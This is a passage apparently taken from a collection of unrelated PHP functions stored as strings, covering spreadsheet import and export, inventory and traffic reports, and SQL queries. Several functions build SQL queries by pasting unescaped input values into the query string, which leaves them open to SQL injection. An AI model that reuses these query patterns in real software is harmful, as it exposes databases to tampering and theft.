CEO_TB_IMPA_IMPORTAR_ARQUIVO\n ON IMPA_ID_IMPORT_ARQUIVO = IMPO_ID_IMPORT_ARQUIVO\n --AND IMPA_IC_MES = {$mes} \n AND IMPA_AA_IMPORTACAO = {$ano}\n AND REGC_AA_REGRA = IMPA_AA_IMPORTACAO\n \n GROUP BY\n INCI_ID_INCISO, INCI_VL_INCISO, INCI_DS_INCISO,\n ALIN_ID_ALINEA, ALIN_VL_ALINEA, ALIN_DS_ALINEA\n \";\n\n $db = Zend_Db_Table::getDefaultAdapter();\n $retorno = $db->fetchAll($sql);\n\n return $retorno;\n }", "public function import(){\n include APPPATH.'third_party/PHPExcel.php';\n \n $excelreader = new PHPExcel_Reader_Excel2007();\n $loadexcel = $excelreader->load('uploads/'.$this->filename.'.xlsx'); /* Load file yang telah diupload ke folder excel */\n $sheet = $loadexcel->getActiveSheet()->toArray(null, true, true ,true);\n \n /* Buat sebuah variabel array untuk menampung array data yg akan kita insert ke database */\n $data = array();\n \n $numrow = 1;\n foreach($sheet as $row){\n\n /* ----------------------------------------------\n * Cek $numrow apakah lebih dari 1\n * Artinya karena baris pertama adalah nama-nama kolom\n * Jadi dilewat saja, tidak usah diimport\n * ----------------------------------------------\n */\n\n if($numrow > 1){\n \n /* Kita push (add) array data ke variabel data */\n array_push($data, array(\n 'id_siswa' => '',\n 'nis'=>$row['A'],\n 'nisn'=>$row['B'],\n 'nama_siswa'=>$row['C'],\n 'j_kelamin'=>$row['D'],\n 'temp_lahir'=>$row['E'],\n 'tgl_lahir'=>$row['F'],\n 'kd_agama'=>$row['G'],\n 'status_keluarga'=>$row['H'],\n 'anak_ke'=>$row['I'],\n 'alamat'=>$row['J'],\n 'telp'=>$row['K'],\n 'asal_sekolah'=>$row['L'],\n 'kelas_diterima'=>$row['M'],\n 'tgl_diterima'=>$row['N'],\n 'nama_ayah'=>$row['O'],\n 'nama_ibu'=>$row['P'],\n 'alamat_orangtua'=>$row['Q'],\n 'tlp_ortu'=>$row['R'],\n 'pekerjaan_ayah'=>$row['S'],\n 'pekerjaan_ibu'=>$row['T'],\n 'nama_wali'=>$row['U'],\n 'alamat_wali'=>$row['V'],\n 'telp_wali'=>$row['W'],\n 'pekerjaan_wali'=>$row['X'],\n 'id_kelas' =>$row['Y']\n ));\n }\n \n $numrow++; // Tambah 1 setiap kali looping\n }\n\n $this->Mdl_siswa->insert_multiple($data);\n \n redirect(\"siswa\");\n }", "public function f10_excel_listado($st_f10) {\n require_once('../../../librerias/Excel/PHPExcel2.php');\n \n $obCon=new conexion(1);\n $objPHPExcel = new Spreadsheet();\n \n $styleName = [\n \n 'font' => [\n 'bold' => true,\n 'size' => 20\n ]\n ];\n $styleTitle = [\n 'font' => [\n 'bold' => true,\n 'size' => 12\n ]\n ];\n \n $Campos=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\n \"AA\",\"AB\",\"AC\",\"AD\",\"AE\",\"AF\",\"AG\",\"AH\",\"AI\",\"AJ\",\"AK\",\"AL\",\n \"AM\",\"AN\",\"AO\",\"AP\",\"AQ\",\"AR\",\"AS\",\"AT\",\"AU\",\"AV\",\"AW\",\"AX\",\"AY\",\"AZ\",\n \"BA\",\"BB\",\"BC\",\"BD\",\"BE\",\"BF\",\"BG\",\"BH\",\"BI\",\"BJ\",\"BK\",\"BL\",\n \"BM\",\"BN\",\"BO\",\"BP\",\"BQ\",\"BR\",\"BS\",\"BT\",\"BU\",\"BV\",\"BW\",\"BX\",\"BY\",\"BZ\",\n \"CA\",\"CB\",\"CC\",\"CD\",\"CE\",\"CF\",\"CG\",\"CH\",\"CI\",\"CJ\",\"CK\",\"CL\",\n \"CM\",\"CN\",\"CO\",\"CP\",\"CQ\",\"CR\",\"CS\",\"CT\",\"CU\",\"CV\",\"CW\",\"CX\",\"CY\",\"CZ\",\n ];\n \n $nombres_campos=[\"ID\"=>'IDENTIFICADOR',\n\t\t\t\t\"NumeroInterno\"=>'N°',\n\t\t\t\t\"NombreSucursal\"=>'SEDE',\n\t\t\t\t\"NitIPSContratada\"=>'NIT',\n\t\t\t\t\"RazonSocial\"=>'RAZON SOCIAL',\n\t\t\t\t\"Naturaleza\"=>'NATURALEZA',\n\t\t\t\t\"Modalidad\"=>'MODALIDAD',\n\t\t\t\t\"NumeroContrato\"=>'NUMERO DE CONTRATO',\n\t\t\t\t\"llaveCargue\"=>'LLAVE',\n\t\t\t\t\"ValorContrato\"=>'VALOR CONTRATO',\n\t\t\t\t\"FechaInicioContrato\"=>'FECHA INICIO VIGENCIA',\n\t\t\t\t\"FechaFinalContrato\"=>'FECHA FIN VIGENCIA',\n\t\t\t\t\"ValorGlosaxConciliar\"=>'VALOR GLOSAS POR CONCILIAR',\n\t\t\t\t\"FechaConciliacionGlosa\"=>'FECHA CONCILIACION GLOSAS',\n\t\t\t\t\"CumplimientoActaGlosas\"=>'CUMPLIMIENTO DE ACTA DE GLOSA',\n\t\t\t\t\"ResponsableConciliacionGlosa\"=>'RESPONSABLE CONCILIACIÓN GLOSAS',\n\t\t\t\t\"SaldoCuentaXPagar\"=>'SALDO CUENTA POR PAGAR (SEVEN)',\n\t\t\t\t\"FechaConciliacionCartera\"=>'FECHA DE CONCILACIÓN CARTERA',\n\t\t\t\t\"nombre_responsable_conciliacion\"=>'RESPONSABLE CONCILIACIÓN CARTERA',\n\t\t\t\t\"CumplimientoConciliacionCartera\"=>'CUMPLIMIENTO DE CONCILIACIÓN',\n\t\t\t\t\"ObservacionesCartera\"=>'OBSERVACIONES',\n\t\t\t\t\"FechaActaLiquidacion\"=>'FECHA ELABORACIÓN ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NumeroActaLiquidacion\"=>'No. ACTA DE LIQUIDACION',\n\t\t\t\t\"ActaLiquidacionFirmada\"=>'ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"FechaActaLiquidacionFirmada\"=>'FECHA ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"ValorFavorContra\"=>'VALOR A FAVOR (/) O EN CONTRA (+)',\n\t\t\t\t\"RegistroActaLiquidacionSeven\"=>'REGISTRO ACTA DE LIQUIDACIÓN (SEVEN)',\n\t\t\t\t\"AcuerdoPago\"=>'SE REALIZÓ ACUERDO DE PAGO',\n\t\t\t\t\"NumeroCuotasAcuerdo\"=>'No. CUOTAS',\n\t\t\t\t\"ValorTotalAcuerdo\"=>'VALOR TOTAL ACUERDO',\n\t\t\t\t\"ValorCuotaAcuerdo\"=>'VALOR CUOTA',\n\t\t\t\t\"FechaInicioAcuerdo\"=>'FECHA INICIO ACUERDO DE PAGO',\n\t\t\t\t\"FechaFinAcuerdo\"=>'FECHA FIN ACUERDO DE PAGO',\n\t\t\t\t\"ValorSaldoAcuerdo\"=>'VALOR SALDO ACUERDO',\n\t\t\t\t\"ResponsableCargue\"=>'RESPONSABLE AGS O DEPARTAMENTAL CARGUE',\n\t\t\t\t\"TipoOperacionCargue\"=>'TIPO DE OPERACIÓN',\n\t\t\t\t\"NumeroAjusteCargue\"=>'NÚMERO AJUSTE',\n\t\t\t\t\"FechaAjusteCargue\"=>'FECHA',\n\t\t\t\t\"ValorAjusteCargue\"=>'VALOR AJUSTE',\n\t\t\t\t\"SaldoActaLiquidacionCargue\"=>'SALDO ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NotificacionCargue\"=>'NOTIFICACIÓN',\n\t\t\t\t\"FechaNotificacionCargue\"=>'FECHA NOTIFICACIÓN',\n\t\t\t\t\"UsuarioCargue\"=>'USUARIO QUE CARGA',\n\t\t\t\t\"nombre_responsable_liquidacion\"=>'RESPONSABLE AGS 2',\n\t\t\t\t\"nombre_cargo_responsable_liquidacion\"=>'CARGO RESPONSABLE AGS 2',\n\t\t\t\t\"LiderAcargoLiquidacion\"=>'LIDER A CARGO',\n\t\t\t\t\"nombre_responsable_cargue_acta\"=>'RESPONSABLE CARGUE DE ACTA',\n\t\t\t\t\"Pareto\"=>'PARETO',\n\t\t\t\t\"ParetoContraloria\"=>'PARETO CONTRALORIA',\n\t\t\t\t\"Municipio\"=>'MUNICIPIO',\n\t\t\t\t\"NivelComplejidad\"=>'NIVEL COMPLEJIDAD',\n\t\t\t\t\"ObjetoContrato\"=>'OBJETO DEL CONTRATO',\n\t\t\t\t\"AnioFinalizacionContrato\"=>'AÑO FINALIZACIÓN',\n\t\t\t\t\"ObservacionesLiquidacion\"=>'OBSERVACIONES ACTAS DE LIQUIDACIÓN',\n\t\t\t\t\"SaldoInicialSeven\"=>'SALDO INICIAL (SEVEN)',\n\t\t\t\t\"GlosaInicial\"=>'GLOSA INICIAL',\n\t\t\t\t\"GlosaFavor\"=>'GLOSA A FAVOR',\n\t\t\t\t\"GlosaConciliar\"=>'GLOSA POR CONCILIAR',\n\t\t\t\t\"PendienteAuditoria\"=>'PENDIENTE DE AUDITORIA',\n\t\t\t\t\"ValorDevoluciones\"=>'VALOR DEVOLUCIONES',\n\t\t\t\t\"ValorFacturado\"=>'VALOR FACTURADO',\n\t\t\t\t\"ValorPagado\"=>'TOTAL PAGADO',\n\t\t\t\t\"FechaEnvioCruceCartera\"=>'FECHA ENVIO CRUCE DE CARTERA',\n\t\t\t\t\"DiasTranscurridos\"=>'DIAS TRANSCURRIDOS',\n\t\t\t\t\"ConciliadoAsmet\"=>'CONCILIADO POR ASMET',\n\t\t\t\t\"CausaNoLiquidacion\"=>'CAUSA DE NO LIQUIDACION DEL CONTRATO',\n\t\t\t\t\"GestionLiquidacion\"=>'GESTION PARA LA LIQUIDACION',\n\t\t\t\t\"ProcesoNoLiquidacion\"=>'PROCESO DE NO LIQUIDACION INMEDIATA',\n\t\t\t\t\"ObservacionesAdicionales\"=>'OBSERVACIONES',\n\t\t\t\t\"HYL\"=>'HYL',\n\t\t\t\t\"Liquidado31Marzo2018\"=>'LIQUIDADO A 31 DE MARZO 2018',\n\t\t\t\t\"Contrato\"=>'CONTRATO SI/NO',\n\t\t\t\t\"MarcaGerencia\"=>'MARCA JAIR',\n\t\t\t\t\"RecibeCartera\"=>'SE RECIBE CARTERA',\n\t\t\t\t\"FechaRecibeCartera\"=>'FECHA RECIBE CARTERA',\n\t\t\t\t\"RealizaCruceCartera\"=>'SE REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"FechaCruce\"=>'FECHA REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"EnviaOferta\"=>'SE ENVIA OFERTA',\n\t\t\t\t\"FechaEnviaOferta\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"ActaArchivada\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"FechaActualizacionManual\"=>'FECHA ACTUALIZACION MANUAL',\n\t\t\t\t\"usuario_edicion\"=>'USUARIO ACTUALIZA MANUAL',\n\t\t\t\t\"FechaActualizacion\"=>'FECHA ACTUALIZACION AUTOMATICA',\n\t\t\t\t\"nombre_estado\"=>'ESTADO DEL CONTRATO',\n\n\t\t\t\t];\n \n $campos_seleccionados=\"\";\n $z=0;\n $i=1;\n foreach ($nombres_campos as $key => $value) {\n $campos_seleccionados.=\"$key,\";\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z].$i,$value);\n \n $z=$z+1;\n }\n $campos_seleccionados= substr($campos_seleccionados, 0, -1);\n $st_f10= str_replace(\"*\", $campos_seleccionados, $st_f10);\n $z=0;\n $i=2;\n $sql=$st_f10;\n \n $Consulta=$obCon->Query($sql);\n \n while($DatosConsulta=$obCon->FetchAssoc($Consulta)){\n $z=0;\n foreach ($DatosConsulta as $key => $value) {\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z++].$i,$value);\n }\n $i++;\n }\n //Informacion del excel\n $objPHPExcel->\n getProperties()\n ->setCreator(\"www.technosoluciones.com.co\")\n ->setLastModifiedBy(\"www.technosoluciones.com.co\")\n ->setTitle(\"F10\")\n ->setSubject(\"F10\")\n ->setDescription(\"Documento generado por Techno Soluciones SAS\")\n ->setKeywords(\"techno soluciones sas\")\n ->setCategory(\"F10\"); \n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.\"F10\".'.xls\"');\n header('Cache-Control: max-age=0');\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n $objWriter=IOFactory::createWriter($objPHPExcel,'Xlsx');\n $objWriter->save('php://output');\n exit; \n \n }", "public function bExamen_i(){\r\n\t\t $c=0;\r\n $sql=\"select * from texamen where descripcion like'$this->descripcion%' and tipo='IMAGEN' \";\r\n\t\t$cursor=parent::ejecuta_sql($sql);\t\t \r\n\t\tif($row= parent::proxima_tupla($cursor))\r\n\t\t {\r\n\t\t\t DO{\r\n\t\t\t \t$fila[$c][1]=$row[\"id_examen\"];\r\n\t\t\t\t$fila[$c][2]=$row[\"descripcion\"];\r\n\t\t\t\t$fila[$c][3]=$row[\"tipo\"];\r\n\t\t\t\t$c++;\r\n\t\t\t\t}while($row= parent::proxima_tupla($cursor));\r\n\t\t }\t\t\r\n\t\tif ( $fila>0 )\r\n\t\t\treturn $fila;\r\n\t\telse\r\n\t\t\treturn -1;\r\n\t\t\t\r\n\t\t\tparent::cerrar_bd();\r\n }", "function informaImpressao(){\r\n $sql \t= \"update interpretacao set int_data_impressao = now(), int_status = 'impresso' where int_id = \".$this->get(\"int_id\");\r\n\t\t$rs\t\t= Db::sql($sql, \"Interpretacao::informaImpressao()\");\r\n\t}", "private function ReadReport($newname,$principal,$periode){\n $tmpfname = \"file-ori/\".$newname;\n $excelReader = \\PHPExcel_IOFactory::createReaderForFile($tmpfname);\n $excelObj = $excelReader->load($tmpfname);\n $worksheet = $excelObj->getSheet(0);\n $lastRow = $worksheet->getHighestRow();\n \n //proses extraksi file excel\n switch ($principal) {\n case \"BEST\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n break;\n\n case \"PII\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n break;\n\n case \"ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue())+intval($worksheet->getCell('O'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('W'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"IN\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('L'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('M'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MAP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - NSI\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('J'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - SURYATARA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('E'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"PO\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $no_po = $worksheet->getCell('B4')->getValue();\n $this->SimpanPO($data->kode_barang,$qty,$periode,$no_po);\n \n }\n } \n break;\n\n case \"Others\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $type = $worksheet->getCell('B4')->getValue();\n $this->SimpanOthers($data->kode_barang,$qty,$periode,$type);\n \n }\n } \n break;\n\n default:\n echo \"Your favorite color is neither red, blue, nor green!\";\n }\n\n }", "public static function diario($fecha_diario,$nombre,$archivo)\n {\n $values='';\n $var=null;\n ini_set('max_execution_time', 1200);\n for($i=5;$i<=$archivo->excel->sheets[0]['numRows'];$i++)\n {\n $valores=array();\n for($j=1;$j<=$archivo->excel->sheets[0]['numCols'];$j++)\n {\n switch($j)\n {\n case 1:\n if($archivo->excel->sheets[0]['cells'][$i][$j]=='Total')\n {\n //si es total no lo guardo en base de datos\n break 2;\n }\n else\n {\n if(ValidationsArchCapt::define($nombre)==\"external\")\n {\n //Obtengo el id de destino externo\n $valores['id_destination']=Destination::getId(utf8_encode($archivo->excel->sheets[0]['cells'][$i][$j]));\n $valores['id_destination_int']='NULL'; \n }\n else\n {\n //obtengo el id del destino interno\n $valores['id_destination_int']=DestinationInt::getId(utf8_encode($archivo->excel->sheets[0]['cells'][$i][$j]));\n $valores['id_destination']='NULL';\n }\n $id_destination_int=$valores['id_destination_int'];\n $id_destination=$valores['id_destination']; \n }\n break;\n case 2:\n if($archivo->excel->sheets[0]['cells'][$i][$j]=='Total')\n {\n //si es total no lo guardo en base de datos\n break 2;\n }\n else\n {\n $valores['id_carrier_customer']=Carrier::getId(utf8_encode($archivo->excel->sheets[0]['cells'][$i][$j]));\n }\n break;\n case 3:\n if($archivo->excel->sheets[0]['cells'][$i][$j]=='Total')\n {\n //Si es total no lo guardo en base de datos\n break 2;\n }\n else\n {\n $valores['id_carrier_supplier']=Carrier::getId(utf8_encode($archivo->excel->sheets[0]['cells'][$i][$j]));\n }\n break;\n case 4:\n //minutos\n $valores['minutes']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 5:\n //ACD\n $valores['acd']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 6:\n //ASR\n $valores['asr']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 7:\n //Margin %\n $valores['margin_percentage']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 8:\n //Margin per Min\n $valores['margin_per_minute']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 9:\n //Cost per Min\n $valores['cost_per_minute']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 10:\n //Revenue per Min\n $valores['revenue_per_minute']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 11:\n //PDD\n $valores['pdd']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 12:\n //Imcomplete Calls\n $valores['incomplete_calls']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 13:\n //Imcomplete Calls Ner\n $valores['incomplete_calls_ner']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 14:\n //Complete Calls Ner\n $valores['complete_calls_ner']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 15:\n //Complete Calls\n $valores['complete_calls']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 16:\n //Calls Attempts\n $valores['calls_attempts']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 17:\n //Duration Real\n $valores['duration_real']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 18:\n //Duration Cost\n $valores['duration_cost']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 19:\n //NER02 Efficient\n $valores['ner02_efficient']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 20:\n //NER02 Seizure\n $valores['ner02_seizure']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 21:\n //PDDCalls\n $valores['pdd_calls']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 22:\n //Revenue\n $valores['revenue']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 23:\n //Cost\n $valores['cost']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 24:\n //Margin\n $valores['margin']=Utility::notNull($archivo->excel->sheets[0]['cellsInfo'][$i][$j]['raw']);\n break;\n case 25:\n $values.=\"(\";\n $values.=\"'\".$fecha_diario.\"',\";\n $values.=$valores['minutes'].\",\";\n $values.=$valores['acd'].\",\";\n $values.=$valores['asr'].\",\";\n $values.=$valores['margin_percentage'].\",\";\n $values.=$valores['margin_per_minute'].\",\";\n $values.=$valores['cost_per_minute'].\",\";\n $values.=$valores['revenue_per_minute'].\",\";\n $values.=$valores['pdd'].\",\";\n $values.=$valores['incomplete_calls'].\",\";\n $values.=$valores['incomplete_calls_ner'].\",\";\n $values.=$valores['complete_calls'].\",\";\n $values.=$valores['complete_calls_ner'].\",\";\n $values.=$valores['calls_attempts'].\",\";\n $values.=$valores['duration_real'].\",\";\n $values.=$valores['duration_cost'].\",\";\n $values.=$valores['ner02_efficient'].\",\";\n $values.=$valores['ner02_seizure'].\",\";\n $values.=$valores['pdd_calls'].\",\";\n $values.=$valores['revenue'].\",\";\n $values.=$valores['cost'].\",\";\n $values.=$valores['margin'].\",\";\n $values.=\"'\".date('Y-m-d').\"',\";\n $values.=$valores['id_carrier_supplier'].\",\";\n $values.=$valores['id_destination'].\",\";\n $values.=$valores['id_destination_int'].\",\";\n $values.=\"1,\";\n $values.=$valores['id_carrier_customer'].\")\";\n break;\n }\n }//fin de for de $j\n \n /* verifico que la linea leida no sea total, para colocar la coma despues de armar la cadena */ \n if($i<$archivo->excel->sheets[0]['numRows'] && $archivo->excel->sheets[0]['cells'][$i][$j]!='Total')\n {\n $values.=\",\";\n }\n\n }//fin de for de $i\n\n // obtengo el ultimo caracter de la cadena\n $barra = substr($values, -1, 1);\n /*Verifico el ultimo caracter de la cadena es (,) */\n if($barra==\",\") \n {\n // se elimina la coma.\n $values=substr($values, 0, - 1); \n }\n\n if($values!=\"\")\n {\n $var['values']=$values;\n $var['id_destination']=$id_destination;\n $var['id_destination_int']=$id_destination_int;\n }\n return $var;\n }", "public function onReadAllDataExcelBeneficiarios()\n {\n if (!$this->archivoValido)\n return;\n $log = [\n 'Correcto' => $this->getImportSuccessLog(),\n 'Incorrecto' => $this->getImportErrorLog(),\n 'Guardar' => $this->getDataGuardar()\n ];\n\n $pathImportJson = Yii::getAlias('@ImportJson/beneficiarios/');\n $archivo = date('Ymd-His_') . Yii::$app->user->id . '_beneficiarios.json';\n file_put_contents($pathImportJson . $archivo, Json::encode($log));\n $this->redirect(['import/beneficiarios-paso2', 'archivo' => $archivo]);\n }", "abstract protected function excel ();", "function Buscar_Informacion($codigo){\n //$respuesta = new xajaxResponse('ISO-8859-1');\n $respuesta = new xajaxResponse();\n $ClsInf = new ClsInformacion();\n\t\n\t//$respuesta->alert(\"$codigo\");\n $result = $ClsInf->get_informacion($codigo);\n if(is_array($result)){\n foreach($result as $row){\n $codigo = $row[\"inf_codigo\"];\n $respuesta->assign(\"codigo\",\"value\",$codigo);\n $nombre = utf8_decode($row[\"inf_nombre\"]);\n $respuesta->assign(\"nom\",\"value\",$nombre);\n $desc = utf8_decode($row[\"inf_descripcion\"]);\n $respuesta->assign(\"desc\",\"value\",$desc);\n $desde = $row[\"inf_fecha_inicio\"];\n $desde = cambia_fechaHora($desde);\n $fecini = substr($desde,0,10);\n $horini = substr($desde,11,18);\n $respuesta->assign(\"fecini\",\"value\",$fecini);\n $respuesta->assign(\"horini\",\"value\",$horini);\n $hasta = 